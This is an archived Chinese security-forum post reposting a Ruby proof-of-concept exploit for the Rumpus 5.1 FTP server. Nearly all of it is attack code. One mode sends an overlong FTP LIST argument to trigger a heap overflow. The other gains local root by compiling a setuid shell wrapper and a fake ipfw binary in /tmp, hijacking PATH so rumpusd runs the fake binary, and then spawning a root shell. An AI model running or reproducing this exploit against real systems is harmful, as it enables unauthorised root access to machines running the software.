邪恶八进制信息安全团队技术讨论组's Archiver

pub!1c 2007-1-21 11:03

Rumpus 5.1 Local Privilege Escalation / Remote FTP LIST PoC Exploit

[code]
#!/usr/bin/ruby
# Copyright (c) Lance M. Havok  <lmh [at] info-pull.com>
#          Kevin Finisterre <kf_lists [at] digitalmunition.com>
#
# Proof of concept for issues described in MOAB-18-01-2007.

require &#39;net/ftp&#39;
require &#39;socket&#39;

bugselected = (ARGV[0] || 0).to_i
target_host = (ARGV[1] || "localhost")
target_user = (ARGV[2] || "anonymous")
target_pass = (ARGV[3] || "rumproast")

def list_bug(o)
  payload =  "A" * 251
  payload <<  [0x41424344].pack("V")
  payload <<  [0x61626364].pack("V")
  payload <<  [0x30313233].pack("V")
  payload <<  [0xdeadface].pack("V")
  o.list(payload)
end

def local_priv_escalation()
  wrapper  = &#39;int main() { setuid(0); setgid(0); system("/bin/sh -i"); return 0; }&#39;
  fake_ipfw = &#39;int main() { system("/usr/sbin/chown root: /tmp/shX; /bin/chmod 4755 /tmp/shX"); return 0; }&#39;
  command_line =  "echo &#39;#{wrapper}&#39; > /tmp/test.c && cc -o /tmp/shX /tmp/test.c && "   +
            "echo &#39;#{fake_ipfw}&#39; > /tmp/ipfw.c && cc -o /tmp/ipfw /tmp/ipfw.c && " +
            &#39;export PATH="/tmp/:$PATH" && /usr/local/Rumpus/rumpusd&#39;
  system command_line
  sleep 1
  puts "++ Enjoy root shell..."
  system "/tmp/shX"
end

case bugselected
  when 0
   puts "++ FTP LIST heap buffer overflow..."
   Net::FTP.open(target_host) do |ftp|
    ftp.login("#{target_user}","#{target_pass}")
    list_bug(ftp)
   end
  when 1
   puts "++ Local privilege escalation..."
   local_priv_escalation()
end
[/code]

页: [1]
© 1999-2008 EvilOctal Security Team